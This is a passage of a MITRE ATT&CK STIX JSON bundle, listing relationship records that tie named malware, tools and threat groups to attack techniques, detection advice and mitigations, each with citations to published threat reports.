2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-06T19:28:22.178Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to clean up installed files, delete files, and delete itself from the victim’s machine.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4532058c-bdc1-4911-8749-d235f60bd684","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor newly executed processes, such as the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft W32Time May 2017","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.","url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45320c5e-4aae-4e45-9aac-23f863957056","type":"relationship","created":"2020-03-19T20:22:02.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T20:22:02.328Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--453679cf-e04c-4419-9b94-9a150092a04d","type":"relationship","created":"2021-03-12T18:46:47.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T18:46:47.225Z","description":"[Sibot](https://attack.mitre.org/software/S0589) checked if the compromised system is configured to use proxies.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4536c335-5138-42d1-8f1e-63dee7cb17ab","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T00:54:45.809Z","description":"A [Dipsind](https://attack.mitre.org/software/S0200) variant registers as a Winlogon Event Notify DLL to establish persistence.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45376fe9-2a43-4e09-942e-82be661ed572","created":"2021-04-12T17:55:07.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.838Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can modify Registry values within HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\\Excel\\Security\\AccessVBOM\\ to enable the execution of additional code.(Citation: Talos Cobalt Strike September 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--453914ae-8d76-4796-b507-dafc33adf005","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T00:00:03.447Z","description":"[4H RAT](https://attack.mitre.org/software/S0065) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45407caa-cfee-426d-a928-04db128b7ce8","type":"relationship","created":"2020-11-24T21:19:49.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2020-11-24T21:19:49.257Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has set up and operated websites to gather information and deliver malware.(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45522d60-160a-4c07-bd98-9a487175910e","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.314Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) compressed data with zlib prior to sending it over C2.(Citation: Mandiant No Easy Breach)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4556634c-06f7-48f9-bcaa-22d023524068","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}],"modified":"2020-03-17T01:26:56.376Z","description":"The \"Uploader\" variant of [HAMMERTOSS](https://attack.mitre.org/software/S0037) visits a hard-coded server over HTTP/S to download the images [HAMMERTOSS](https://attack.mitre.org/software/S0037) uses to receive commands.(Citation: FireEye APT29)","relationship_type":"uses","source_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4558c2f3-247f-478c-8139-80e7a45208e7","created":"2023-03-02T19:00:45.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T20:59:03.022Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can bypass UAC to escalate privileges.(Citation: Microsoft BlackCat Jun 2022) ","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--455ad18f-00a1-4ac4-a77b-abb26a68996e","created":"2023-03-31T19:32:42.300Z","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T19:32:42.300Z","description":"[Royal](https://attack.mitre.org/software/S1073) can scan the network interfaces of targeted systems.(Citation: Cybereason Royal December 2022)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--455fed31-0d5c-42cb-9a79-03df7600db52","type":"relationship","created":"2021-02-09T14:35:39.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.773Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606)’s infpub.dat file creates a scheduled task to launch a malicious executable.(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45608b9a-ddd8-45f9-9152-bed384a1c8c3","created":"2022-09-21T15:26:42.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:57:06.183Z","description":"[Empire](https://attack.mitre.org/software/S0363) has the ability to automatically send collected data back to the threat actors' C2.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45626c7f-c401-427b-9589-c91a4b2a4f7f","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"},{"source_name":"FireEye Fin8 May 2016","description":"Kizhakkinan, D., et al. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.","url":"https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:31:34.138Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has exploited the CVE-2016-0167 local vulnerability.(Citation: FireEye Fin8 May 2016)(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4563af55-57dc-44fc-b57b-76e2f10f3b9a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T00:54:45.817Z","description":"[Dipsind](https://attack.mitre.org/software/S0200) can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4579695f-22c6-4391-a508-da942c2e0570","created":"2022-08-31T21:12:08.237Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Milan](https://attack.mitre.org/software/S1015) can identify users registered to a targeted machine.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-08-31T21:12:08.237Z","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--457cc54b-4fd9-490f-bb2f-d7d559624388","type":"relationship","created":"2021-09-29T20:46:38.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.435Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used VBScript to execute commands and other operational tasks.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--457ee5f7-ec8f-4990-bfe0-8cf0a6e70b1f","type":"relationship","created":"2021-04-07T18:07:47.926Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T22:15:19.664Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has used masscan to search for kubelets and the kubelet API for additional running containers.(Citation: Unit 42 Hildegard Malware) ","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--45803290-efab-46d3-873d-0c4f19f5e406","created":"2022-09-16T21:34:48.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:30:23.355Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used Base64 to encode files with a custom key.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45852cf6-f0e8-45b8-9636-0dee90f7d2fc","type":"relationship","created":"2020-07-16T15:23:48.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.405Z","description":"[Kessel](https://attack.mitre.org/software/S0487) can split the data to be exilftrated into chunks that will fit in subdomains of DNS queries.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4585a60a-acbd-4fd2-b421-b25dd920632c","created":"2022-10-13T14:18:43.423Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:18:43.423Z","description":"[PcShare](https://attack.mitre.org/software/S1050) can execute `cmd` commands on a compromised host.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--458df250-fdf4-4561-8d67-75d274fc5c06","created":"2022-03-30T14:26:51.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","modified":"2022-04-10T17:23:18.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--458eebea-e73b-4417-9ce0-11417f6b0289","type":"relationship","created":"2019-01-30T16:39:54.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2020-03-16T16:27:15.771Z","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) can log keystrokes.(Citation: PaloAlto CardinalRat Apr 2017)","relationship_type":"uses","source_ref":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45912a00-141c-45ec-afb6-2ac272764c14","type":"relationship","created":"2020-03-13T20:21:54.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-19T03:29:47.899Z","description":"Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45952aea-8bd7-4f6d-8b23-ee2914860454","type":"relationship","created":"2019-01-29T19:09:26.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2020-03-20T21:31:17.109Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) has used GitHub and a public blog service in Hong Kong for C2 communications.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45966f4c-51d4-4940-854d-79d712f63ed5","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"},{"source_name":"CameraShy","description":"ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.","url":"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf"}],"modified":"2019-04-10T15:59:09.302Z","description":"(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--22addc7b-b39f-483d-979a-1b35147da5de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--459726d9-88e7-4cd0-9534-2082a1473f14","created":"2023-08-14T15:53:00.926Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:57:37.328Z","description":"Monitor network data for 